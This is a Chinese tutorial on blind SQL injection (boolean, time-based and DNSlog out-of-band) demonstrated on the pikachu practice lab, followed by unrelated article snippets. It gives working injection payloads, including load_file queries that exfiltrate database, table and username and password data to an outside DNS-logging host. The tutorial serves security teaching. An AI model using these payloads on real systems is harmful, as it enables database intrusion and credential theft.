一.前言

在我们的注入语句被带入数据库查询但却什么都没有返回的情况我们该怎么办?例如应用程序就会返回 一个"通用的"的页面,或者重定向一个通用页面(可能为网站首页)。这时,我们之前学习的SQL注入办 法就无法使用了。这种情况我们称之为无回显,如果页面有信息显示,我们称之为有回显。回显状态的 页面没什么可说的,无回显的这种我们就可以采用盲注的手段

二.盲注

2.1 Boolian(布尔型)盲注

盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特 殊的方法进行判断或尝试,这个过程称为盲注。

SQL盲注分为两大类:基于布尔型SQL盲注、基于时间型SQL盲注

盲注的话其实手工来测很费时费力,所以一般我们采用工具来测,我们先手工看看效果。 通过pikachu的盲注功能看看效果

我们发现这个注入没有效果了

采用sql语句中and的方法,返回正确或错误来构造,按照之前的思路构造一个SQL拼接:

vince' and extractvalue(0,concat(0x7e,version()))#

输入后根据返回的信息判断之前的思路 不再适用。

那么我们这样搞:输入语句

select ascii(substr(database(),1,1))>xx;

通过对比ascii码的长度, 判断出数据库表名的第一个字符。

注:substr()函数 substring -- sub子集 string -- 字符串 子字符串 aabbcc -- aa bb aab aabbc pikachu 从第一个位置开始取出1个字符 ascii('p')

substr(string,start,length)

string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选)规定被 返回字符串的长度。

通过和数字的对比,我们看到结果有1和0,1表示真,0表示假,推断出数据库名称首字母是ascii表上的112数字,代表字母为p

但是一个一个字母的查询,查询多少个为止呢?我们同样可以使用length来判断表名的长度,判断出长 度后就能多次输入payload来爆破出每一个表名的字符。输入语句:

vince' and length(database())=7 #

注:select语句不能直接嵌套在 and后面这样使用,所以length前面不要加上select

回到pikachu平台按照之前的逻辑,我们构造语句,如果返回1,那么就会爆出选择的信息,返回0,就 会返回 您输入的username不存在! 。按照之前逻辑,输入sql语句:

vince' and ascii(substr(database(),1,1))=112#

通过这个方法,就能得到后台数据库的名称的第一个字符的ascii码,注意vince是一个数据库中存在的用户名昂。同之前的办法,我们也可以获得information_schema.tables里的数据。但在实际操作中通常不会使用手动盲注的办法,可以使用sqlmap等工具来增加盲注的效率。不断的猜解

结果没有报错,说明存在这个注入点,布尔型盲注基本都是通过ascii码来测试的。

2.2 base on time(时间型)盲注

到base on time盲注下,输入上个演示中设置好的payload:

vince' andascii(substr(database(),1,1))=112#

返回的信息发现不存在注入点。那这样就不能进行注入 了?当然还要继续尝试,其实可以通过后端的执行时间来进行注入。这里会用到的 payload:

vince'and sleep(5)# 

那么你会看到页面等待了5秒钟才出结果,说明有注入点

基于时间的延迟,构造一个拼接语句:

vince' and if(substr(database(),1,1)='X' (猜测点)',sleep(3),null#

,输入后,如果猜测真确,那么就会响应3秒,如果错误会立刻返回错误。输入:

vince' and if(substr(database(),1,1)='p',sleep(3),null)#

,在web控制台下,判断出database的表名的一个字符为p。通过这个办法我们就能逐步向下获取数据。判断猜解。

时间型盲注经常使用的函数: sleep(5)、benchmark(10000000,MD5(1)) benchmark是mysql的内置 函数,是将MD5(1)执行10000000次以达到延迟的效果

如果sleep被防御了,可以使用benchmark。

vince' and if(substr(database(),1,1)='p',benchmark(10000000,MD5(1)) ,null)#

三.DNSlog方式

dnslog注入也可以称之为dns带外查询,Dns在域名解析时会在DNS服务器上留下域名和解析ip的记录, 可以在dns服务器上查询相应的dns解析记录,来获取我们想要的数据。

大致原理:

就是通过注入A网站的地址,将无回显的敏感数据带出放到A网站的记录上

具备DNSlog日志记录功能的网站A我们不用自己搭建,可以采用如下三个,当然如果你想自己搭建也是可以的:

http://ceye.io/ 知道创宇公司提供的

http://www.dnslog.cn/

http://admin.dnslog.link #最近发现,这个好像不太好用了

我们就看看第一个网址:

我们数据都会回显在这里

条件:

1、需要mysql用户具备读文件的权限,因为要借助到mysql的load_file读取文件的函数,权限不够的 话,不能调用这个函数。其实只要mysql中配置项中开启了这个secure_file_priv配置,就可以通过sql语 句来执行文件读写操作。

2、目标mysql数据库服务器能够访问外网 其实load_file()不仅能够加载本地文件,同时也能对诸如 \\www.xxx.com 这样的URL发起请求。这样 的url我们称之为UNC路径,简单了解即可。就借助load_file函数能够访问某个网址的特性,来进行DNSlog注入,注入语句如下

select load_file('\\\\xxx.xxxx.xxx\\xx');#xxx.xxxx.xxx\\xx是某个网址

第一步:先看一下网址域名 f5iwy3.ceye.io

第二步:将网址添加到sql语句中

select load_file('\\\\xxx.f5iwy3.ceye.io\\abc');

第三步:开启MySQL的读取文件功能的配置项

secure_file_priv=""

第四步:在mysql命令行先执行一下我们的写好的sql语句

第五步:看一下日志记录

发现,有记录了,并且看到了pp这个数据,那么我们就可以继续构造获取敏感数据的sql语句了

select load_file(concat('//',(select database()),'.f5iwy3.ceye.io/abc')) #获取库名

第六步:开始注入

3.1 获取当前库名

and select * from member where id=1 and (select load_file(concat('//',(select database()),'.f5iwy3.ceye.io/abc')));#

and select * from member where id=1 and (select load_file(concat('\\\\',(select database()),'.f5iwy3.ceye.io\\abc')));#

3.2 获取表名

and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.f5iwy3.ceye.io\\abc')));#

and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.f5iwy3.ceye.io\\abc')));#

and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 2,1),'.f5iwy3.ceye.io\\abc')));#

修改limit后面的数字即可将每个表名都查出来

3.3 查询字段名

and (select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name='member' limit 0,1),'.f5iwy3.ceye.io\\abc')));#

同样也是修改limit后面的数字,将member表的字段名一个一个的取出来

3.4 查询数据

查询一下member的username和pw字段的数据

and (select load_file(concat('\\\\',(select username from member limit 0,1),'.f5iwy3.ceye.io\\abc')));#

and (select load_file(concat('\\\\',(select pw from member limit 0,1),'.f5iwy3.ceye.io\\abc')));#

我们只需要把这个用于其他类似于字符型注入或者数字型注入里去测试就好了

四.DNSlog注入工具

这个工具不太好用了,也好久没有更新了,知道有这样的工具即可,有兴趣的可以自己去找找新的工 具,这个我们就不演示了。

有一个专门针对DNSlog注入的工具,叫做DNSlogSqlinj,python27语言写的。

GitHub - ADOOO/DnslogSqlinj

修改一下配置文件里的APItoken和DNSurl就可以使用了

用法: dnslogSql.py [options] -u http://10.1.1.9/sqli-labs/Less-9/?id=1' and ({})--+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/96128.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/96128.shtml
英文地址,请注明出处:http://en.pswp.cn/bicheng/96128.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

尚硅谷宋红康JVM全套教程(详解java虚拟机)

https://www.bilibili.com/opus/1071553679925968898 案例7:日均百万订单系统JVM参数设置 https://github.com/wei198621/jvm_by_atguigu https://github.com/xftxyz2001/atguigu-jvm/blob/main/JavaYouthdocsJVM/%E7%AC%AC1%E7%AB%A0-JVM%E4%B8%8EJava%E4%BD%…

鸿蒙NEXT开发实战:图片显示、几何图形与自定义绘制详解

探索HarmonyOS NEXT强大的图形渲染能力,从图片展示到自定义绘图 HarmonyOS NEXT作为华为自主研发的操作系统,为开发者提供了一套丰富而强大的图形渲染能力。无论是显示图片、绘制几何图形,还是实现复杂的自定义绘图,鸿蒙都提供了简…

python + Flask模块学习 2 接收用户请求并返回json数据

用到的模块还是flask,用到的类有Flask, request, jsonfiy 🙂 目录 1、GET请求 2、POST请求 1、表单格式 2、json格式 就酱,也比较简单,下一篇说简单的授权,简单来说就是比如用户付费买了服…

国内外常用的免费BUG管理工具选型

帮助用户根据自身情况做决定,比如团队规模、技术能力、是否需要移动端支持等。避免只是罗列工具,而是提供实际选择的维度。 国内外常用的免费BUG管理工具选择非常丰富,从轻量级到功能全面型都有覆盖。我将它们分为几类,并详细介绍…

JavaScript的事件循环机制

1.事件循环的理解JavaScript是单线程的,意味着它一次只能执行一个任务。而事件循环就是去协调在JavaScript环境中运行的同步任务、异步任务(微任务、宏任务)的执行顺序的一种机制。它是 JavaScript 实现单线程非阻塞异步执行的核心。2.事件循环的执行顺序同步任务—…

数据结构——栈(Java)

目录 一定义. 入栈 出栈 二.栈与线性表的关系 三.栈的实现方式 四.链表实现栈 1.结点的API设计 2.栈的API设计 2.1栈的初始化设计 2.2元素入栈 2.3元素出栈 五.括号匹配问题 完整代码展示 答案 一定义. 栈是一种基于先进后出(FILO)的数据…

科研笔记:数学建模启发的课题研究方法

借鉴数学建模的思路解决科学问题或开展课题研究,核心是将实际问题抽象为数学框架,通过定量分析、逻辑推演和验证优化,实现对问题的精准描述、解释或预测。其本质是“从现实到数学,再从数学回归现实”的迭代过程,适用于…

Agent落地到底选择LangChain 还是 LangGraph

核心概念 LangChain:一个用于构建由大型语言模型驱动的应用程序的框架。它提供了大量的组件和现成的链,旨在简化和标准化应用程序与LLM交互的过程。 LangGraph:一个用于在LangChain之上构建有状态、多参与者的 工作流 的库。它特别擅长处理具有循环、分支和复杂协调的代理(…

ChatGPT下的相关聊天提示词

问:如果我觉得一个子对话里,聊天聊得太多,在这个项目下新开一个子对话,但是不想把上次太多的信息 都复制过来,有没有什么办法关键词:项目、子对话,上下文ChatGPT:有办法的 ✅在 ChatGPT 里&…

最新PDF版本!Acrobat Pro DC 2025,解压即用版

软件介绍 Adobe Acrobat Pro DC 2025 是全球知名的 PDF 编辑神器,被称为 “最牛 PDF 工具”,能轻松解决 PDF 编辑、创建、转换等难题,本次分享的版本解压即可使用。 软件特点 然解压即可使用不用登录注册最新版本 软件使用 我们打开软件选…

XX汽集团数字化转型:全生命周期网络安全、数据合规与AI工业物联网融合实践

引言:数字化转型中的安全与效率双轮驱动作为中国汽车行业的龙头企业,XX汽集团近年来积极推进数字化转型,通过构建全生命周期网络安全体系、完善数据合规治理框架,并深度融合AI工业物联网技术,实现了生产成本显著降低和…

云原生部署_Docker入门

Docker是啥Docker是一个开源的容器化平台,可以帮助开发者将应用程序和其依赖的环境打包成一个可移植、可部署的容器。Docker的主要目标是通过容器化技术,实现应用程序的快速部署、可移植性和可扩展性,从而简化应用程序的开发、测试和部署过程…

【大数据专栏】大数据框架-Apache Druid Overview

目录 Architecture Advantages and disadvantages 从架构以及设计可以得出结论,Durid不支持ACID事务,基于时间戳列和维度列去查询,所以适合基于时间做分组和学列的查询操作。 Advantages优势: 实时数据摄取与查询 支持秒级数据摄…

云平台面试内容(一)

1. 云计算的优点、服务模型区别及云部署模式 云计算优点: 云计算具有显著的优势,包括无需自建机房和硬件投入,资源即开即用并支持弹性伸缩,按需付费使成本透明可控。企业可以在数分钟内完成全球范围的部署,缩短上线周期。同时云平台提供高可用性和安全性,多副本容灾保证数…

嵌入式 - 硬件:51单片机(2)

本节重点:1. GPIO输入模式、输出模式2. 按键工作原理(GPIO输入)3. 中断概念4. 中断源概念、中断源个数、哪几个中断源5. 外部中断、定时器中断概念6. 中断处理流程:7. 51单片机中定时器的个数?类型8. 16位定时器和8位…

C语言中奇技淫巧07-使用GCC栈保护选项检测程序栈溢出

-fstack-protector 是 GCC 和 Clang 编译器提供的一种栈保护(Stack Smashing Protection, SSP) 机制,用于检测和防御常见的缓冲区溢出攻击(特别是栈溢出)。它通过在函数的栈帧中插入特殊的“金丝雀值”(can…

.NET 8.0 Web API JWT 身份验证和基于角色的授权

在当今的数字环境中,保护 Web 应用程序的安全至关重要。随着 .NET 8.0 的不断发展,它提供了强大的工具来确保您的 API 既安全又高效。 示例代码:https://download.csdn.net/download/hefeng_aspnet/91490262 如果您喜欢此文章&#xff0c…

ZYNQ SDK软件在线调试

1、然后右键项目->debug as->launch on hardware2、从左到右分别是:运行程序到设置的断点暂停运行终止断开连接步进(进入函数内部)跳过(不进入函数内部)跳出函数3、双击添加断点,然后点击运行可以让程…

四大金刚之计算机操作系统

1. 进程和线程的区别?创建线程的代价比创建进程小吗?进程是资源分配和调度的基本单位;线程是 CPU 调度的基本单位。进程有独立的地址空间,线程共享进程地址空间。创建/销毁进程开销大,线程开销小。是的,因为…

redis--redis.conf的相关配置问题

关于redis.conf内的相关重要的配置介绍 1. bind 配置 仅仅设置bind,还需要搭配下面的rotected-mode 配置才能外部ip进行连接 功能:设置 Redis 监听的 IP 地址,决定哪些设备可以连接到 Redis 服务器。 bind 127.0.0.1:只允许本机&a…